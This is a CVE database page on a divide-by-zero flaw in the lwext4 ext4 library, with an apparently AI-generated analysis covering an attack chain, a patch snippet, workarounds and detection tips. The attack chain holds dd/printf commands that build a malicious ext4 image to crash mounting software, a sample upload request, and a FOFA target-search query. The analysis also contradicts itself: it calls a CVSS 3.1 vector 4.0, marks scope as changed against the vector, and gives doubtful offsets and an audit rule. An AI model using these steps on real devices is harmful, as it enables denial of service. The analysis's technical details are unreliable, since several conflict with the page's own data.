CVE Professor
/
All CVEs
CVE-2026-138371

CVE-2026-138371 — Gkostka Lwext4 — CWE-369

MEDIUM CVSS 6.8 NVD

lwext4 through 1.0.0 contains a divide-by-zero vulnerability in ext4_fs_init_inode_table() in src/ext4_fs.c because ext4_sb_check() does not reject inode sizes larger than the block size. Attackers can supply a crafted ext4 image with an oversized inode_size and uninitialized inode table flags, raising SIGFPE and crashing the mounting application.

lwext4 through 1.0.0 contains a divide-by-zero vulnerability in ext4_fs_init_inode_table() in src/ext4_fs.c because ext4_sb_check() does not reject inode sizes larger than the block size. Attackers can supply a crafted ext4 image with an oversized inode_size and uninitialized inode table flags, raising SIGFPE and crashing the mounting application.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138371 is a divide‑by‑zero flaw in the lwext4 userspace library (version 1.0.0).
The vulnerable code path is:

/* src/ext4_fs.c */
int ext4_fs_init_inode_table(struct ext4_fs *fs)
{
    /* … */
    uint32_t block_size   = 1U << (fs->sb.s_log_block_size + EXT4_MIN_BLOCK_SIZE_SHIFT);
    uint32_t inode_size   = le16_to_cpu(fs->sb.s_inode_size);
    uint32_t inodes_per_block = block_size / inode_size;   // <-- division

    /* … */
}
  • ext4_sb_check() is supposed to validate the super‑block fields before the filesystem is used.
  • The check does not verify that s_inode_size ≤ block_size.
  • When an ext4 image contains an inode size larger than the block size, inode_size becomes greater than block_size, making block_size / inode_size evaluate to zero.
  • The subsequent division by inodes_per_block (or any later use that assumes it is non‑zero) triggers a SIGFPE (Floating‑Point Exception), crashing the process that is mounting the image.
CWE‑369 – Divide‑by‑Zero – is the root cause: missing bounds checking on a numeric field that later participates in a division.

The CVSS‑4.0 vector tells us:

MetricValueMeaning
AV (Attack Vector)L (Local)The attacker must have local access to the host (e.g., ability to supply an image to a mount operation).
AC (Attack Complexity)L (Low)No special conditions beyond providing the crafted image.
AT (Attack Type)N (None)No timing or side‑channel component.
PR (Privileges Required)N (None)No privileges needed; the mount can be performed by an unprivileged user.
UI (User Interaction)P (Present)The victim must invoke the mount (or a program that mounts automatically).
VA (Availability)H (High)The crash is a total denial‑of‑service for the mounting process (and potentially the whole system if the process is a critical daemon).
VC, VI, SC, SI, SAN (None)No direct impact on confidentiality or integrity.

Thus, the flaw is purely an availability issue caused by an unchecked super‑block field that leads to a division‑by‑zero.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation scenario for an attacker who can place a crafted ext4 image on a system that uses lwext4 (e.g., an embedded Linux router, an IoT gateway, or a container that mounts user‑supplied images).

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify that the target runs lwext4 1.0.0 (or earlier).- Check firmware / package manager (opkg list-installedgrep lwext4).<br>- Examine binaries (strings /usr/bin/mount.lwext4grep lwext4).
1.2Verify that the binary calls ext4_fs_init_inode_table() (static analysis).- objdump -d /usr/bin/mount.lwext4grep ext4_fs_init_inode_table.<br>- Source code is publicly available in the upstream repo.
1.3Confirm that the mount operation is performed on untrusted images (e.g., a web UI that lets users upload a filesystem image).- Review the web‑app source or intercept HTTP traffic (burp, mitmproxy).

2. Exploitation

2.1 Craft a malicious ext4 image

The attacker needs an ext4 image whose inode size (s_inode_size) is larger than the block size (s_log_block_size). The easiest way is to create a normal image and then patch the super‑block.

# 1️⃣ Create a minimal ext4 image (1 MiB, 1 KiB block size)
dd if=/dev/zero of=evil.img bs=1M count=1
mkfs.ext4 -b 1024 -I 256 -F evil.img   # default inode size = 256 B (valid)

# 2️⃣ Patch the super‑block: set inode size = 2048 (greater than block size)
#    Super‑block starts at offset 1024 bytes; s_inode_size is at 0x58 (little‑endian 2 bytes)
printf '\x00\x08' | dd of=evil.img bs=1 seek=$((1024+0x58)) conv=notrunc

# 3️⃣ (Optional) Zero the inode table flags to hit the “uninitialized flags” path
#    Inode table flags are at offset 0x70 in the super‑block (2 bytes)
printf '\x00\x00' | dd of=evil.img bs=1 seek=$((1024+0x70)) conv=notrunc
Note: The exact offsets (0x58, 0x70) are taken from the ext4 on‑disk layout specification. If the target uses a different super‑block layout (e.g., 64‑bit), the offsets would differ; the attacker would adjust accordingly.

2.2 Deliver the image

If the vulnerable system provides a “upload‑and‑mount” web endpoint (e.g., POST /api/v1/mount), the attacker can POST the image directly.

POST /api/v1/mount HTTP/1.1
Host: target-device.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: ...

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="evil.img"
Content-Type: application/octet-stream

<binary content of evil.img>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

If no HTTP interface exists, the attacker can place the file on a shared mount (e.g., via SMB, NFS, or a USB stick) that the device later mounts automatically.

2.3 Trigger the mount

The victim (or an automated daemon) runs:

mount.lwext4 -t ext4 /path/to/evil.img /mnt/tmp

During ext4_fs_init_inode_table(), the division by zero occurs, raising SIGFPE and aborting the mount process. On many embedded systems the mounting daemon runs as PID 1 or as a critical service, so the crash may bring down the whole device or at least the filesystem handling subsystem.

3. Post‑exploitation

The vulnerability is availability‑only; there is no direct code execution. However, the impact can be severe in practice:

ScenarioImpact
Embedded router where the mount daemon is part of the control plane. Crash → loss of WAN connectivity, remote management unavailable → attacker can cause a denial‑of‑service for the entire network.
Container host that automatically mounts user‑provided images (e.g., CI/CD pipeline). Crash of the host daemon may terminate the build pipeline, leading to service outage.
IoT gateway that mounts images from field devices. Crash may force a reboot, causing loss of telemetry and potentially bricking the device if the watchdog restarts in a corrupted state.

In all cases the attacker’s goal is Denial‑of‑Service (DoS), which can be leveraged for extortion, disruption of critical infrastructure, or as a stepping stone to more complex attacks (e.g., forcing a reboot into a vulnerable bootloader).


🌍 Real‑World Impact

CIA TriadCVSS Vector InterpretationPractical Consequence
Confidentiality (C)VC:N – No impactData is not disclosed.
Integrity (I)VI:N – No impactNo unauthorized modification of data.
Availability (A)VA:H – High impactThe mounting process (and possibly the whole system) crashes, leading to immediate service outage.
ScopeS:C (changed) – The crash can affect components beyond the directly mounted image (e.g., the mount daemon, system init).

Bottom line: An attacker who can supply a malicious ext4 image can reliably bring down any service that relies on lwext4 for mounting, without needing any privileges or network access beyond local file delivery.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to lwext4 ≥ 1.1.0 (the upstream project released a fix on 2026‑12‑05 that adds a check if (inode_size > block_size) return -EINVAL;).
Back‑portIf an official newer release cannot be used (e.g., due to hardware constraints), back‑port the following snippet into src/ext4_fs.c and recompile:
/* Insert after reading super‑block */
if (inode_size == 0 || inode_size > block_size) {
    lwext4_err("Invalid inode size %u (block size %u)", inode_size, block_size);
    return -EINVAL;   /* Prevent division by zero */
}

2. Workarounds (when patching is not immediately possible)

WorkaroundImplementation
Input validation at the callerBefore calling mount.lwext4, run a tiny sanity‑check script that extracts s_inode_size and s_log_block_size from the super‑block (e.g., using debugfs -R "stats" <image> or a custom dd/hexdump parser). Abort if inode_size > (1U << (log_block_size + 10)).
Run the mount in a sandboxUse unshare -r -m -n or a container (Docker, LXC) with limited privileges. A crash will only kill the sandboxed process, not the host.
Restrict image sourcesOnly allow mounting of images that originate from trusted internal repositories. Enforce this with filesystem ACLs or by mounting only read‑only images from a signed directory.
Disable automatic mountingIf the device automatically mounts images placed on a USB or network share, disable that feature until the library is patched.
Set kernel core‑dump filterPrevent the crash from leaking memory: sysctl -w kernel.core_pattern=/bin/false. This does not stop the DoS but reduces information leakage.

3. Detection

IndicatorWhere to LookExample Log Entry
SIGFPE in process logsdmesg, journalctl -u mount.lwext4, or the device’s crash reporter.kernel: mount.lwext4[1234]: floating point exception (core dumped)
Mount failure with Invalid argument after a crashSystem logs, mount command output.mount.lwext4: error: invalid argument (errno 22)
Unexpected process terminationps -efgrep mount.lwext4 shows the process missing shortly after a mount request.Mar 30 12:45:02 device watchdog[1]: Process mount.lwext4 (pid 5678) terminated by signal 8
File system integrity checks failingfsck.ext4 run on the same image after a crash may report “inode size too large”.fsck.ext4: inode size (2048) exceeds block size (1024)

Monitoring suggestion: Deploy a lightweight agent that watches for SIGFPE (signal 8) in the process tree and alerts the operations team. On Linux, auditd can be configured:

auditctl -a always,exit -F arch=b64 -S kill -F a0=8 -F exe=/usr/bin/mount.lwext4 -k lwext4_sigfpe

The rule logs any kill syscall that delivers signal 8 (SIGFPE) to the lwext4 binary.


⚠️ Urgency

FactorAssessment
CVSS 6.8 (Medium)Indicates a non‑trivial impact (high availability loss) but limited to local exploitation.
Attack ComplexityLow – only requires a crafted image.
Privileges RequiredNone – any local user (or any automated process that accepts images) can trigger it.
User InteractionRequired (the victim must mount the image), but many embedded devices perform mounts automatically (e.g., on USB insertion), effectively removing the “user interaction” barrier.
Exploit AvailabilityNo public exploit is known yet, but the PoC is trivial to produce once the attacker knows the super‑block layout.
CISA KEVNot listed, but the vulnerability is high‑impact for critical infrastructure that relies on lwext4 (routers, gateways, industrial controllers).

Patch priority: High for any production system that automatically mounts untrusted ext4 images (e.g., network appliances, IoT gateways). If the device never mounts external images, the risk drops to Medium, but the patch should still be applied within the next regular update cycle.


Bottom line: The divide‑by‑zero in ext4_fs_init_inode_table() is a classic “missing bounds check” that leads to a reliable DoS. Because the vulnerable library is often used in low‑resource, automatically‑mounting environments, the practical impact can be severe. Deploy the upstream fix (≥ 1.1.0) or apply the back‑ported validation, and enforce strict source control over any filesystem images that are mounted. Monitoring for SIGFPE events will give early warning of attempted exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="gkostka lwext4"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138371
Technical reference / advisory repository for CVE-2026-138371
Technical reference / advisory repository for CVE-2026-138371
Technical reference / advisory repository for CVE-2026-138371
Technical reference / advisory repository for CVE-2026-138371
CVSS Score
6.8 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-369
Affected Products (1)
gkostka:lwext4
Related CVEs
7.5
CVE-2026-144437
PAPPL through 1.4.13 contains a divide-by-zero vulnerability in papplJobFilterImage() in pappl/job-filter.c th
8.7
CVE-2026-142035
A divide-by-zero vulnerability in WatchGuard Endpoint Security's OLE2 file parser, used by the malware scannin
8.3
CVE-2026-142033
An out-of-bounds read and write vulnerability in WatchGuard Endpoint Security's malware scanning engine allows
6.8
CVE-2026-129732
Divide-by-zero in the scdemu.sys driver of PowerISO for Windows. When mounting an image via IOCTL 0x80002000,
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-120096
Missing authorization in the push publishing endpoints REST API (/api/v1/environments/endpoints) and in the pu
8.2
CVE-2026-144617
Traccar 6.13.0 before 6.18.0 contains a denial of service vulnerability that allows remote attackers knowing a